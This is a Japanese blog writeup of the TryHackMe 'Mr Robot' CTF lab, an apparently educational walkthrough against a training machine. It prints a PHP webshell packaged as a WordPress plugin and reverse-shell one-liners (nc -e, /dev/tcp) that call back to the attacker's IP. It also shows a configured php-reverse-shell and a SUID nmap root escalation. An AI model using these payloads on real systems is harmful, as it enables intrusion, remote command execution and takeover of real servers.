TryHackMe: Mr Robot CTF Writeup

TryHackMeのMr Robot CTFのwriteupおよびメモ。

数日間に渡り取り組んだため、標的マシンのIPアドレスがちょいちょい変わっているのはご愛嬌。

What is key 1?

ひとまずnmapを走らせてみた。

nmap -Pn -A 10.10.144.23
┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ nmap -Pn -A 10.10.144.23
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-18 09:16 EDT
Nmap scan report for 10.10.144.23
Host is up (0.19s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open   ssl/http Apache httpd
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
|_http-server-header: Apache

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.97 seconds

80番ポートでApache Webサーバーを実行している模様。

定番のrobots.txtにアクセスしてみた。

User-agent: *
fsocity.dic
key-1-of-3.txt

robots.txtの中にkey-1-of-3.txtというファイル名を発見。

http://10.10.144.23/key-1-of-3.txtにアクセスしたところ、フラグを取れた。

What is key 2?

robots.txtの中には、key-1-of-3.txtのほかにfsocity.dicというファイル名も記載されていたので、試しにhttp://10.10.144.23/fsocity.dicにアクセスして、ファイルをダウンロードしてみた。

┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ wc -l fsocity.dic 
858160 fsocity.dic
                                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ head fsocity.dic
true
false
wikia
from
the
now
Wikia
extensions
scss
window

┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ tail fsocity.dic
ER28-0652
psychedelic
iamalearn
uHack
imhack
abcdefghijklmno
abcdEfghijklmnop
abcdefghijklmnopq
c3fcd3d76192e4007dfb496cca67e13b
ABCDEFGHIJKLMNOPQRSTUVWXYZ

どうやらfsocity.dicは何らかのワード・リストの模様。(結局、自分はこのファイルは活用しなかった)

続いて、gobusterでWebサーバーのディレクトリを列挙してみた。

gobuster dir -u http://10.10.144.23 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ gobuster dir -u http://10.10.144.23 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.144.23
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 235] [--> http://10.10.144.23/images/]
/video                (Status: 301) [Size: 234] [--> http://10.10.144.23/video/]
/rss                  (Status: 301) [Size: 0] [--> http://10.10.144.23/feed/]
/image                (Status: 301) [Size: 0] [--> http://10.10.144.23/image/]
/blog                 (Status: 301) [Size: 233] [--> http://10.10.144.23/blog/]
/0                    (Status: 301) [Size: 0] [--> http://10.10.144.23/0/]
/audio                (Status: 301) [Size: 234] [--> http://10.10.144.23/audio/]
/sitemap              (Status: 200) [Size: 0]
/admin                (Status: 301) [Size: 234] [--> http://10.10.144.23/admin/]
/feed                 (Status: 301) [Size: 0] [--> http://10.10.144.23/feed/]
/robots               (Status: 200) [Size: 41]
/dashboard            (Status: 302) [Size: 0] [--> http://10.10.144.23/wp-admin/]
/login                (Status: 302) [Size: 0] [--> http://10.10.144.23/wp-login.php]
/phpmyadmin           (Status: 403) [Size: 94]
/intro                (Status: 200) [Size: 516314]
/license              (Status: 200) [Size: 309]
/wp-content           (Status: 301) [Size: 239] [--> http://10.10.144.23/wp-content/]
/css                  (Status: 301) [Size: 232] [--> http://10.10.144.23/css/]
/js                   (Status: 301) [Size: 231] [--> http://10.10.144.23/js/]
/rss2                 (Status: 301) [Size: 0] [--> http://10.10.144.23/feed/]
/atom                 (Status: 301) [Size: 0] [--> http://10.10.144.23/feed/atom/]
/wp-admin             (Status: 301) [Size: 237] [--> http://10.10.144.23/wp-admin/]
/readme               (Status: 200) [Size: 64]
/xmlrpc               (Status: 405) [Size: 42]
/%20                  (Status: 301) [Size: 0] [--> http://10.10.144.23/]
/page1                (Status: 301) [Size: 0] [--> http://10.10.144.23/]
/0000                 (Status: 301) [Size: 0] [--> http://10.10.144.23/0000/]
/wp-login             (Status: 200) [Size: 2606]

上記よりWordPressがインストールされていることが判明した。

WordPressの管理用ログインページ http://10.10.144.23/wp-login.phpにアクセスして、定番のユーザー名とパスワード (admin:admin)でログインできるか試してみたが、ダメだった。

どうにかしてログインのための認証情報を手に入れる必要がある。

上記のスキャン結果より、応答コードが200になっているディレクトリに片っ端からアクセスしたところ、/licenseにて不審なメッセージおよびBase64と思しきデータを発見した。

┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ curl -i http://10.10.144.23/license
HTTP/1.1 200 OK
Date: Thu, 18 Apr 2024 14:41:48 GMT
Server: Apache
Content-Location: license.txt
Vary: negotiate,Accept-Encoding
TCN: choice
X-Frame-Options: SAMEORIGIN
Last-Modified: Fri, 13 Nov 2015 02:29:12 GMT
ETag: "135-52462d331d9d0;52481b7f01ab2"
Accept-Ranges: bytes
Content-Length: 309
Content-Type: text/plain


what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?

~~ snipped ~~

do you want a password or something?

~~ snipped ~~

ZWxsaW90OkVSMjgtMDY1Mgo=

※実際の応答データの中には改行がいくつも含まれていた。

ZWxsaW90OkVSMjgtMDY1Mgo=をBase64デコードすると、elliot:ER28-0652という文字列が現れた。

┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ echo -n ZWxsaW90OkVSMjgtMDY1Mgo= | base64 -d         
elliot:ER28-0652

再びWordPressの管理用ログインページ /wp-login.phpにアクセスして、ユーザー名にelliotと指定し、パスワードにER28-0652と指定したところ、管理者としてログインできた。

管理画面を一通り調べてみたが、2つ目のフラグに繋がりそうな情報は見つからなかった。

ので、Webサーバー侵害の定番、webshellをアップロードすることにした。

軽く調べたところ、WordPressにwebshellを仕込むにはWordPress用のプラグインとしてインストールするのが手っ取り早いらしい。

WordPressに自前のプラグインをインストールする方法は以下の通り。(※参考)

  1. プラグインの本体であるPHPスクリプトを用意する。このPHPスクリプトにはWordPressのプラグインであることを示すコメントを挿入する必要がある。
  2. 1.で用意したPHPスクリプトをZIP圧縮する。
  3. WordPress管理画面より、Plugins -> Add New -> Upload Pluginを選択して、2.で用意したZIPファイルをアップロードし、Install Nowをクリック。
  4. インストールが完了したらAcitvate Pluginをクリックして、プラグインを有効化する。

今回はKali Linuxにあらかじめ用意されていた/usr/share/webshells/php/simple-backdoor.phpというwebshellをアップロードすることにした。

スクリプトの冒頭にWordPressのプラグインであることを示すコメントを挿入。

┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ cat simple-backdoor.php
<?php
/*
Plugin Name: Simple Backdoor 
Plugin URI: https://example.com
Description: Simple Backdoor
Version: 1.0.0
Author URI: https://example.com
Text Domain: webshell
Domain Path: /languages
*/
if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

zip simple-backdoor.zip simple-backdoor.phpで上記のwebshellをZIP化し、WordPress管理画面からアップロードして、プラグインを有効化した。

あとは以下のURLパスにアクセスし、cmdパラメータに任意のコマンドを指定すればOK.

/wp-content/plugins/simple-backdoor/simple-backdoor.php?cmd=<your command to execute>

さっそく、コマンドを叩いてみた。

コマンド

/wp-content/plugins/simple-backdoor/simple-backdoor.php?cmd=id

応答

uid=1(daemon) gid=1(daemon) groups=1(daemon)

コマンド

/wp-content/plugins/simple-backdoor/simple-backdoor.php?cmd=whoami

応答

daemon

コマンド

/wp-content/plugins/simple-backdoor/simple-backdoor.php?cmd=find / -name key-2-of-3.txt 2>/dev/null

応答

/home/robot/key-2-of-3.txt

コマンド

/wp-content/plugins/simple-backdoor/simple-backdoor.php?cmd=ls -lh /home/robot/key-2-of-3.txt

応答

-r-------- 1 robot robot 33 Nov 13  2015 /home/robot/key-2-of-3.txt

上記より、/home/robot/key-2-of-3.txtというファイルを発見した。このファイルはrobot (とroot) ユーザーのみ読み取り可能だが、現在のユーザーはdaemonのため、ファイルの中身を見ることはできない。

ファイルを読むにはrobotrootユーザーに切り替わる必要がある。

/home/robotの中にほかに何かファイルがないか調べたところ、password.raw-md5というファイルを発見した。

/wp-content/plugins/simple-backdoor/simple-backdoor.php?cmd=ls -la /home/robot/
total 16
drwxr-xr-x 2 root  root  4096 Nov 13  2015 .
drwxr-xr-x 3 root  root  4096 Nov 13  2015 ..
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

password.raw-md5は、どのユーザーでも読み取れる。中身を見てみた。

/wp-content/plugins/simple-backdoor/simple-backdoor.php?cmd=cat /home/robot/password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

MD5と思しきハッシュ値 c3fcd3d76192e4007dfb496cca67e13bが記載されていた。

ハッシュ値をググってみたところ、abcdefghijklmnopqrstuvwxyzという文字列のMD5ハッシュ値であることが判明した。恐らく、これがrobotユーザーの認証パスワードである。

suコマンドでrobotユーザーに切り替わるには、対話シェルで認証パスワードを入力する必要がある。

Webサーバーとの対話シェルを開くために、別のwebshellをアップロードすることにした。

(初めは/simple-backdoor.php?cmd=nc -nv 10.9.221.71 1234 -e /bin/sh/simple-backdoor.php?cmd=/bin/bash -i >& /dev/tcp/10.9.221.71/1234 0>&1 でReverse shellを張ろうとしたのだが、上手く行かなかった。)

Kali Linuxにあらかじめ用意されていた/usr/share/webshells/php/php-reverse-shell.phpというwebshellを利用することにした。

スクリプトの冒頭にWordPressのプラグインであることを示すコメントを挿入。IPアドレスとポート番号も忘れずに書き換え。

┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ head -n 15 php-reverse-shell.php
<?php

/*
Plugin Name: PHP Reverse Shell
Plugin URI: https://example.com
Description: PHP Reverse Shell
Version: 1.0.0
Author URI: https://example.com
Text Domain: reverseshell
Domain Path: /languages
 */

$VERSION = "1.0";
$ip = '10.9.221.71';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

攻撃マシンで接続を待ち受け。

┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ nc -lvp 1234                              
listening on [any] 1234 ...

あとは先ほどと同様の手順でwebshellをプラグインとしてインストールし、有効化する。

プラグインを有効化した際、Plugin could not be activated because it triggered a fatal error.というエラーメッセージが現れたが、無事、シェルが起動した。

┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ nc -lvp 1234                              
listening on [any] 1234 ...
10.10.100.78: inverse host lookup failed: Unknown host
connect to [10.9.221.71] from (UNKNOWN) [10.10.100.78] 57840
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 14:18:51 up 55 min,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/
$ whoami
daemon

su robotrobotユーザーに切り替わろうとしたが、su: must be run from a terminalと怒られた。

$ cd /home/robot
$ su robot
su: must be run from a terminal

調べたところ、以下のPythonワンライナーで改めてbashシェルを起動すれば、エラーを回避できるらしい。

python -c 'import pty; pty.spawn("/bin/bash")'

上記のPythonワンライナーを実行したところ、無事、su robotrobotユーザーに切り替わることが出来た。

$ python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:~$ whoami
whoami
robot

あとは/home/robot/key-2-of-3.txtcatするだけ。

What is key 3?

find / -name key-3-of-3.txt 2>/dev/nullを叩いて、key-3-of-3.txtというファイルを探してみたが、見つからなかった。恐らくrobotユーザーがアクセスできないフォルダにファイルがあるためと思われる。

robot@linux:~$ find / -name key-3-of-3.txt 2>/dev/null
find / -name key-3-of-3.txt 2>/dev/null
robot@linux:~$ 

rootユーザーに権限昇格できないか調べてみた。

まずはsudo -lを叩いてみたが、生憎robotユーザーはsudoコマンドを使えない模様。

robot@linux:~$ sudo -l
sudo -l
[sudo] password for robot: abcdefghijklmnopqrstuvwxyz

Sorry, user robot may not run sudo on linux.
robot@linux:~$ 

続いて、find / -type f -perm -04000 -ls 2>/dev/nullrootユーザー所有のSUIDのセットされたバイナリを列挙してみた。

robot@linux:~$ find / -type f -perm -04000 -ls 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null
 15068   44 -rwsr-xr-x   1 root     root        44168 May  7  2014 /bin/ping
 15093   68 -rwsr-xr-x   1 root     root        69120 Feb 12  2015 /bin/umount
 15060   96 -rwsr-xr-x   1 root     root        94792 Feb 12  2015 /bin/mount
 15069   44 -rwsr-xr-x   1 root     root        44680 May  7  2014 /bin/ping6
 15085   40 -rwsr-xr-x   1 root     root        36936 Feb 17  2014 /bin/su
 36231   48 -rwsr-xr-x   1 root     root        47032 Feb 17  2014 /usr/bin/passwd
 36216   32 -rwsr-xr-x   1 root     root        32464 Feb 17  2014 /usr/bin/newgrp
 36041   44 -rwsr-xr-x   1 root     root        41336 Feb 17  2014 /usr/bin/chsh
 36038   48 -rwsr-xr-x   1 root     root        46424 Feb 17  2014 /usr/bin/chfn
 36148   68 -rwsr-xr-x   1 root     root        68152 Feb 17  2014 /usr/bin/gpasswd
 36349  152 -rwsr-xr-x   1 root     root       155008 Mar 12  2015 /usr/bin/sudo
 34835  496 -rwsr-xr-x   1 root     root       504736 Nov 13  2015 /usr/local/bin/nmap
 38768  432 -rwsr-xr-x   1 root     root       440416 May 12  2014 /usr/lib/openssh/ssh-keysign
 38526   12 -rwsr-xr-x   1 root     root        10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
395259   12 -r-sr-xr-x   1 root     root         9532 Nov 13  2015 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
395286   16 -r-sr-xr-x   1 root     root        14320 Nov 13  2015 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
 38505   12 -rwsr-xr-x   1 root     root        10344 Feb 25  2015 /usr/lib/pt_chown

上記より、/usr/local/bin/nmapが目に留まった。

GTFOBinsによると、以下のコマンドでnmapからシェルを起動できるらしい。

nmap --interactive
nmap> !sh

/usr/local/bin/nmaprootユーザーの所有で且つ、SUIDがセットされている。上手くすれば、上記のコマンドでシェルをroot権限で起動できそう。

試しにコマンドを叩いてみたところ、シェルがroot権限で起動した。

robot@linux:~$ nmap -V
nmap -V

nmap version 3.81 ( http://www.insecure.org/nmap/ )
robot@linux:~$ nmap --interactive
nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# whoami
whoami
root
# 

再度、find / -name key-3-of-3.txt 2>/dev/nullを実行したところ、/root/key-3-of-3.txtというファイルを発見した。このファイルにフラグが記載されていた。

# find / -name key-3-of-3.txt 2>/dev/null
find / -name key-3-of-3.txt 2>/dev/null
/root/key-3-of-3.txt

Leave a Reply

Your email address will not be published. Required fields are marked *